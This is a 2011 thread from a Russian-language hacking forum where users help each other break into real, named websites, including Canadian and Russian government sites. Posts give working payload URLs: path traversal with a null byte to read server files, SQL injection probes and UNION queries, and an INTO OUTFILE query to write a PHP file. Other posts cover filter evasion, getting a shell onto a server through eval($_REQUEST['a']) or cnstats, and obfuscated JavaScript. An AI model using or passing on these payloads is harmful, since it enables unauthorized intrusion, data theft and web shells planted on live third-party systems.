ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
09.06.2011, 07:05
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512
Репутация:
0
|
|
Сообщение от XAMEHA
XAMEHA said:
WTF?oO
, файлы находящиеся за корнем отличаются от кодировки файлов находящимся в каталоге сайта т е файлы читаются в кодировке, отличной от их изначальной кодировки.
Проблема только с чтением данных, которые могут быть изменены клиентом.
Код:
Code:
http://staltorgmoscow.ru/index.php?option=com_canteen&controller=../../../../../../../proc/self/status%00ddd
Проще в хостинге зарегаться и посмотреть где логи лежат.
|
|
|
09.06.2011, 07:08
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512
Репутация:
0
|
|
M1lten, что именно не получается?
eval(String.fromCharCode(тут любой нужный JS-код))
|
|
|
|
09.06.2011, 11:46
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033
Репутация:
8
|
|
Помогите разобраться вот с этой скулёй.
Код:
Code:
http://www.biogov.gc.ca/english/LinkSearch.asp?x=732&formAction=keywordsearch&txtSearchKeywords=13\
Мож есть статья как крутить при алертах |
|
|
|
09.06.2011, 12:18
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Сообщение от BigBear
BigBear said:
Помогите разобраться вот с этой скулёй.
Код:
Code:
http://www.biogov.gc.ca/english/LinkSearch.asp?x=732&formAction=keywordsearch&txtSearchKeywords=13\
Мож есть статья как крутить при алертах http://www.biogov.gc.ca/english/view.asp?x=551&mid=135+order+by+15
|
|
|
|
09.06.2011, 16:43
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033
Репутация:
8
|
|
Сообщение от FlaktW
FlaktW said:
http://www.biogov.gc.ca/english/view.asp?x=551&mid=135+order+by+15
Пробовал. Вывода не нашёл.
Также пробовал через подзапрос
Код:
Code:
http://www.biogov.gc.ca/english/view.asp?x=551&mid=135+and+1=1+union+select+1
Так же болт.
|
|
|
|
09.06.2011, 23:37
|
|
Познающий
Регистрация: 14.09.2008
Сообщений: 38
Провел на форуме:
162695
Репутация:
37
|
|
Бразы, кто в курсе нет каким макаром залить шелл через cnstats
|
|
|
|
09.06.2011, 23:42
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
Провел на форуме:
58401
Репутация:
0
|
|
Сообщение от KosoyRoman
KosoyRoman said:
Бразы, кто в курсе нет каким макаром залить шелл через cnstats
какая версия?
|
|
|
|
10.06.2011, 13:56
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Фильтруется кавычка, как здесь это обойти. В интернете искал, но по этому вопросу ничего не нашел.
http://www.cityadm.magadan.ru/index.php?cstart=4'+order+by+1+--+&do=cat&category=kotirovka
|
|
|
|
10.06.2011, 14:25
|
|
Новичок
Регистрация: 19.05.2010
Сообщений: 6
Провел на форуме:
7830
Репутация:
4
|
|
?id=-512+UnIoN+AlL+sElEcT+1,2,'',4,5,6,7,8+INTO+OUTFILE +'/web3/vhosts/webhosting/news/php.php'--
выдает Bad Request
что можно сделать?
|
|
|
|
10.06.2011, 14:28
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от kroŧ
kroŧ said:
?id=-512+UnIoN+AlL+sElEcT+1,2,'',4,5,6,7,8+INTO+OUTFILE +'/web3/vhosts/webhosting/news/php.php'--
выдает Bad Request
что можно сделать?
сервер ругается, вероятнее на слово $_GET или систем, подставь разные слова/функции смотри что конкретно фильтрует
пробуй eval($_REQUEST['a']), ну или как то так, в основном именно они не попадают под фильтр
---
да и вообще нах юзать system?
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
